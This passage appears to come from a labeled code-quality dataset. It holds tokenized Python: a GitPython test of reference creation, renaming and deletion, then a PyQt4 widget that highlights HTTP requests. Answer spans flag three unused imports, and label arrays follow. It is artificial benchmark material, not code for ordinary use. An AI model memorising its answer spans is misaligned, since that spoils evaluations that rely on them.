"assert_", "name_", "in_", "ref", "\\u", "new", "\\u", "name_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref", "\\u", "new", "\\u", "name_", "._", "object_", "==_", "orig", "\\u", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref", "\\u", "new", "\\u", "name_", "==_", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "name", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Reference", "s", " ", "tha", "t", " ", "don", "'", "t", " ", "exist", " ", "trigger", " ", "an", " ", "error", " ", "if", " ", "we", " ", "want", " ", "to", " ", "access", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Value", "Error_", ",_", "getattr_", ",_", "Reference_", "(_", "rw", "\\u", "repo_", ",_", "\"", "refs", "/", "doesnt", "exist", "\"_", ")_", ",_", "'", "commit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "exist", "s", ",", " ", "fail", " ", "unl", "ess", " ", "we", " ", "force_", "\\u\\u\\uNL\\u\\u\\u_", "ex", "\\u", "ref", "\\u", "path_", "=_", "far", "\\u", "awa", "y", "\\u", "head_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "OSE", "rror_", ",_", "ref_", "._", "rename_", ",_", "ex", "\\u", "ref", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "it", " ", "points", " ", "to", " ", "the", " ", "same", " ", "commit", " ", "it", " ", "works_", "\\u\\u\\uNL\\u\\u\\u_", "far", "\\u", "awa", "y", "\\u", "head_", "._", "commit_", "=_", "ref_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ref_", "._", "rename_", "(_", "ex", "\\u", "ref", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "path_", "==_", "ex", "\\u", "ref", "\\u", "path_", "and_", "ref_", "._", "object_", "==_", "orig", "\\u", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "rename_", "(_", "ref_", "._", "path_", ")_", "._", "path_", "==_", "ex", "\\u", "ref", "\\u", "path_", "#", " ", "rename", " ", "to", " ", "same", " ", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "symbolic", " ", "refs_", "\\u\\u\\uNL\\u\\u\\u_", "sym", "ref", "\\u", "path_", "=_", "\"", "sym", "refs", "/", "sym", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sym", "ref_", "=_", "Symboli", "c", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "sym", "ref", "\\u", "path_", ",_", "cur", "\\u", "head_", "._", "reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sym", "ref_", "._", "path_", "==_", "sym", "ref", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sym", "ref_", "._", "reference_", "==_", "cur", "\\u", "head_", "._", "reference_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "OSE", "rror_", ",_", "Symboli", "c", "Reference_", "._", "create_", ",_", "rw", "\\u", "repo_", ",_", "sym", "ref", "\\u", "path_", ",_", "cur", "\\u", "head_", "._", "reference_", "._", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "it", " ", "works", " ", "if", " ", "the", " ", "new", " ", "ref", " ", "points", " ", "to", " ", "the", " ", "same", " ", "reference_", "\\u\\u\\uNL\\u\\u\\u_", "Symboli", "c", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "sym", "ref_", "._", "path_", ",_", "sym", "ref_", "._", "reference_", ")_", "._", "path_", "==_", "sym", "ref_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Symboli", "c", "Reference_", "._", "delete_", "(_", "rw", "\\u", "repo_", ",_", "sym", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "wou", "ld", " ", "raise", " ", "if", " ", "the", " ", "sym", "ref", " ", "wou", "ld", "n", "'", "t", " ", "have", " ", "bee", "n", " ", "delete", "dp", "bl_", "\\u\\u\\uNL\\u\\u\\u_", "sym", "ref_", "=_", "Symboli", "c", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "sym", "ref", "\\u", "path_", ",_", "cur", "\\u", "head_", "._", "reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "symbolic", " ", "reference", "s", " ", "whi", "ch", " ", "are", " ", "not", " ", "at", " ", "default", " ", "location", "s", " ", "like", " ", "HEAD_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "FETCH", "\\u", "HEAD", " ", "-", " ", "the", "y", " ", "may", " ", "als", "o", " ", "be", " ", "at", " ", "spots", " ", "in", " ", "refs", " ", "of", " ", "course_", "\\u\\u\\uNL\\u\\u\\u_", "symbol", "\\u", "ref", "\\u", "path_", "=_", "\"", "refs", "/", "symbol", "\\u", "ref", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sym", "ref_", "=_", "Symboli", "c", "Reference_", "(_", "rw", "\\u", "repo_", ",_", "symbol", "\\u", "ref", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sym", "ref_", "._", "path_", "==_", "symbol", "\\u", "ref", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "symbol", "\\u", "ref", "\\u", "abspath_", "=_", "os_", "._", "path_", "._", "join_", "(_", "rw", "\\u", "repo_", "._", "git", "\\u", "dir_", ",_", "sym", "ref_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "sym", "ref_", "._", "reference_", "=_", "new", "\\u", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sym", "ref_", "._", "reference_", "==_", "new", "\\u", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "symbol", "\\u", "ref", "\\u", "abspath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sym", "ref_", "._", "commit_", "==_", "new", "\\u", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "name_", "in_", "(_", "'", "abs", "name", "'_", ",_", "'", "folder", "/", "rela", "\\u", "name", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sym", "ref", "\\u", "new", "\\u", "name_", "=_", "sym", "ref_", "._", "rename_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "isinstance_", "(_", "sym", "ref", "\\u", "new", "\\u", "name_", ",_", "Symboli", "c", "Reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "name_", "in_", "sym", "ref", "\\u", "new", "\\u", "name_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sym", "ref", "\\u", "new", "\\u", "name_", "._", "reference_", "==_", "new", "\\u", "head_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sym", "ref", "\\u", "new", "\\u", "name_", "==_", "sym", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "sym", "ref_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "ref_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "new", " ", "non", "-", "head", " ", "ref", " ", "just", " ", "to", " ", "be", " ", "sure", " ", "we", " ", "handle", " ", "it", " ", "even", " ", "if", " ", "packed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Reference_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "full", "\\u", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "ref", " ", "listi", "ng", " ", "-", " ", "ass", "ure", " ", "we", " ", "have", " ", "pack", "ed", " ", "refs_", "\\u\\u\\uNL\\u\\u\\u_", "rw", "\\u", "repo_", "._", "git_", "._", "pack", "\\u", "refs_", "(_", "all_", "=_", "True_", ",_", "prune", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "heads_", "=_", "rw", "\\u", "repo_", "._", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "new", "\\u", "head_", "in_", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "active", "\\u", "branch_", "in_", "heads_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "rw", "\\u", "repo_", "._", "tags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "shou", "ld", " ", "be", " ", "able", " ", "to", " ", "iterate", " ", "all", " ", "symbolic", " ", "refs", " ", "as", " ", "well", " ", "-", " ", "in", " ", "tha", "t", " ", "case_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "shou", "ld", " ", "expect", " ", "only", " ", "symbolic", " ", "reference", "s", " ", "to", " ", "be", " ", "returned_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "sym", "ref_", "in_", "Symboli", "c", "Reference_", "._", "iter", "\\u", "items_", "(_", "rw", "\\u", "repo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "not_", "sym", "ref_", "._", "is", "\\u", "detached", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whe", "n", " ", "iterati", "ng", " ", "reference", "s", ",", " ", "we", " ", "can", " ", "get", " ", "reference", "s", " ", "and", " ", "sym", "refs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whe", "n", " ", "delet", "ing", " ", "all", " ", "refs", ",", " ", "I", "'", "d", " ", "expect", " ", "them", " ", "to", " ", "be", " ", "gone", " ", "!", " ", "Even", " ", "from_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "pack", "ed", " ", "ones_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "this", " ", "to", " ", "work", ",", " ", "we", " ", "must", " ", "not", " ", "be", " ", "on", " ", "any", " ", "branch_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rw", "\\u", "repo_", "._", "head_", "._", "reference_", "=_", "rw", "\\u", "repo_", "._", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delete", "d\\u", "refs_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ref_", "in_", "Reference_", "._", "iter", "\\u", "items_", "(_", "rw", "\\u", "repo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ref_", "._", "is", "\\u", "detached", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ref_", "._", "delete_", "(_", "rw", "\\u", "repo_", ",_", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delete", "d\\u", "refs_", "._", "add_", "(_", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "delete", " ", "ref_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "ref", " ", "to", " ", "iterate", " ", "and", " ", "to", " ", "delete_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "delete", "d\\u", "refs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ref_", "in_", "Reference_", "._", "iter", "\\u", "items_", "(_", "rw", "\\u", "repo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ref_", "._", "is", "\\u", "detached", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "ref_", "not_", "in_", "delete", "d\\u", "refs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "ref_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "rea", "tta", "ch", " ", "head", " ", "-", " ", "head", " ", "will", " ", "not", " ", "be", " ", "return", "ed", " ", "if", " ", "it", " ", "is", " ", "not", " ", "a", " ", "symbolic", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ref_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rw", "\\u", "repo_", "._", "head_", "._", "reference_", "=_", "Head_", "._", "create_", "(_", "rw", "\\u", "repo_", ",_", "\"", "master", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "At", " ", "leas", "t", " ", "the", " ", "head", " ", "shou", "ld", " ", "still", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "os_", "._", "path_", "._", "join_", "(_", "rw", "\\u", "repo_", "._", "git", "\\u", "dir_", ",_", "'", "HEAD", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "refs_", "=_", "list_", "(_", "Symboli", "c", "Reference_", "._", "iter", "\\u", "items_", "(_", "rw", "\\u", "repo_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "refs_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "creati", "on", " ", "of", " ", "new", " ", "refs", " ", "from", " ", "scratch", "_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "path_", "in_", "(_", "\"", "basen", "ame", "\"_", ",_", "\"", "dir", "/", "some", "name", "\"_", ",_", "\"", "dir", "2", "/", "subdir", "/", "basen", "ame", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "REFERENCE", "S_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fpath_", "=_", "Reference_", "._", "to", "\\u", "full", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ref", "\\u", "fp_", "=_", "Reference_", "._", "from", "\\u", "path_", "(_", "rw", "\\u", "repo_", ",_", "fpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "ref", "\\u", "fp_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ref_", "=_", "Reference_", "(_", "rw", "\\u", "repo_", ",_", "fpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "==_", "ref", "\\u", "fp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "can", " ", "be", " ", "created", " ", "by", " ", "assign", "ing", " ", "a", " ", "commit_", "\\u\\u\\uNL\\u\\u\\u_", "ref_", "._", "commit_", "=_", "rw", "\\u", "repo_", "._", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "assign", "ment", " ", "raise", "s", ",", " ", "the", " ", "ref", " ", "doe", "sn", "'", "t", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "Reference_", "._", "delete_", "(_", "ref_", "._", "repo_", ",_", "ref_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "ref_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Value", "Error_", ",_", "setattr_", ",_", "ref_", ",_", "'", "commit", "'_", ",_", "\"", "nons", "ense", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "ref_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "I", " ", "am", " ", "sure", " ", "I", " ", "had", " ", "my", " ", "reason", " ", "to", " ", "make", " ", "it", " ", "a", " ", "class", " ", "method", " ", "at", " ", "first", ",", " ", "but", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "it", " ", "doe", "sn", "'", "t", " ", "make", " ", "so", " ", "muc", "h", " ", "sense", " ", "any", "more", ",", " ", "want", " ", "an", " ", "instance", " ", "method", " ", "as", " ", "well_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "http", "://", "by", "roni", "mo", ".", "light", "house", "app", ".", "com", "/", "project", "s", "/", "517", "87", "-", "git", "python", "/", "tick", "ets", "/", "27_", "\\u\\u\\uNL\\u\\u\\u_", "Reference_", "._", "delete_", "(_", "ref_", "._", "repo_", ",_", "ref_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "ref_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ref_", "._", "object_", "=_", "rw", "\\u", "repo_", "._", "head_", "._", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ref_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Reference_", "._", "delete_", "(_", "ref_", "._", "repo_", ",_", "ref_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "ref_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Value", "Error_", ",_", "setattr_", ",_", "ref_", ",_", "'", "object", "'_", ",_", "\"", "nons", "ense", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "ref_", "._", "is", "\\u", "valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "END", " ", "for", " ", "each", " ", "path_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dmayer/time_trial/time_trial_gui/gui/http_request_text_edit.py
[ { "content": "from PyQt4 import QtGui\nfrom pygments import highlight, lex\nfrom pygments.lexers import HttpLexer\nfrom pygments.lexers import guess_lexer\nfrom pygments.formatters import HtmlFormatter\nimport re\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class HttpRequestTextEdit(QtGui.QTextEdit):\n\n\n\n\n\n", "metadata": "root.HttpRequestTextEdit", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def __init__(self, parent):\n super(HttpRequestTextEdit, self).__init__(parent)\n self.setMinimumWidth(600)\n self.setMinimumHeight(400)\n self.setAcceptRichText(False)\n self.setTabChangesFocus(True)", "metadata": "root.HttpRequestTextEdit.__init__", "header": "['class', 'HttpRequestTextEdit', '(', 'QtGui', '.', 'QTextEdit', ')', ':', '___EOS___']", "index": 10 }, { "content": " def focusOutEvent(self, QFocusEvent):\n self.highlight()", "metadata": "root.HttpRequestTextEdit.focusOutEvent", "header": "['class', 'HttpRequestTextEdit', '(', 'QtGui', '.', 'QTextEdit', ')', ':', '___EOS___']", "index": 20 }, { "content": " def highlight(self):\n request = self.toPlainText()\n highlighted = highlight(request, HttpLexer(), HtmlFormatter(full=True, style=\"friendly\"))\n self.setHtml(highlighted)", "metadata": "root.HttpRequestTextEdit.highlight", "header": "['class', 'HttpRequestTextEdit', '(', 'QtGui', '.', 'QTextEdit', ')', ':', '___EOS___']", "index": 23 } ]
[ { "span": "from pygments import highlight, lex", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 35 }, { "span": "from pygments.lexers import guess_lexer", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 39 }, { "span": "import re", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "Py", "Qt4_", "import_", "Qt", "Gui_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygments_", "import_", "highlight_", ",_", "lex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygments_", "._", "lexer", "s_", "import_", "Http", "Lexer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygments_", "._", "lexer", "s_", "import_", "guess", "\\u", "lexer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygments_", "._", "formatters_", "import_", "Ht", "ml", "Formatter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Http", "Request", "Text", "Edit_", "(_", "Qt", "Gui_", "._", "QT", "ext", "Edit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Http", "Request", "Text", "Edit_", "(_", "Qt", "Gui_", "._", "QT", "ext", "Edit_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "parent_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Http", "Request", "Text", "Edit_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Mini", "mum", "Width_", "(_", "600_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Mini", "mum", "Height_", "(_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Accept", "Rich", "Text_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Tab", "Change", "s", "Focus_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Http", "Request", "Text", "Edit_", "(_", "Qt", "Gui_", "._", "QT", "ext", "Edit_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "foc", "us", "Out", "Event_", "(_", "self_", ",_", "QF", "ocus", "Event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "highlight_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Http", "Request", "Text", "Edit_", "(_", "Qt", "Gui_", "._", "QT", "ext", "Edit_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "highlight_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "=_", "self_", "._", "to", "Plai", "n", "Text_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "highlighted", "_", "=_", "highlight_", "(_", "request_", ",_", "Http", "Lexer_", "(_", ")_", ",_", "Ht", "ml", "Formatter_", "(_", "full_", "=_", "True_", ",_", "style_", "=_", "\"", "frie", "ndl", "y", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Html_", "(_", "highlighted", "_", ")_" ]
